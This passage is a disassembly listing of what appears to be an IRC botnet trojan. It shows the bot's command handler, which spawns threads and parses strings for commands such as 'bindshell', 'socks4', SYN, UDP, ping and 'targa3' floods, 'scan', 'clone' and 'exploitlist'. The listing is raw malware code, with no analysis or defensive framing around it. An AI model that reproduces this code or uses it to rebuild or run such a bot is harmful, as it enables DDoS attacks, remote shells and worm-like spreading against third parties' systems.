		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset sub_4161BC
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFB0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFA4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB4E8
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CF88
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CF80
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF68
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CF2C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CEE8


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_4	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEC0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset sub_415C59
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CE88
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE58
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE24
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42CFF8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42949C, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D7F0


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42949C
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42D0F8 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D808[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D7F0[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CDE0 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D0F4 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42D0F4 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD34


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD0C
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CCF0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CCD4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCC0
		push	offset dword_42CCB4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CC94
		push	offset dword_42CC84
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42CC78
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC6C
		push	offset dword_42CC60
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC4C
		push	offset dword_42CC40
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC24
		push	offset dword_42CC14
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CBF8
		push	offset dword_42CBE8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CBD0
		push	offset dword_42CBC4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC6C
		push	offset dword_42CC60
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42CC4C
		push	offset dword_42CC40
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBAC
		push	offset dword_42CBA0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42CB94
		push	offset dword_42CB88
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CBF8
		push	offset dword_42CBE8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42CBD0
		push	offset dword_42CBC4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CB78
		push	offset dword_42CB68
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42CB58
		push	offset dword_42CB48
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC24
		push	offset dword_42CC14
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB14
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CB78
		push	offset dword_42CB68
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB58
		push	offset dword_42CB48
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBAC
		push	offset dword_42CBA0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CB94
		push	offset dword_42CB88
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CACC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CA7C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA58
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA38
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
